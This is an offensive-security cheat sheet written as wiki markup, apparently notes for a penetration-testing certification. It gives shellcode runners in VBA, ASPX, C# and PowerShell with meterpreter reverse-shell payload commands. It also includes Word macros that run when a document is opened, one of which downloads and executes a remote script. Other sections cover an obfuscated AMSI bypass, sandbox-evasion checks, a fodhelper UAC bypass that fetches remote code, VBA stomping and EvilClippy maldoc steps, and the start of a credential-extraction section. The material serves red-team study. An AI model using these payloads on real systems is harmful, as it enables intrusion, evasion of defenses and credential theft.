Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]&lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};&lt;br /&gt;
        for(int i = 0; i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
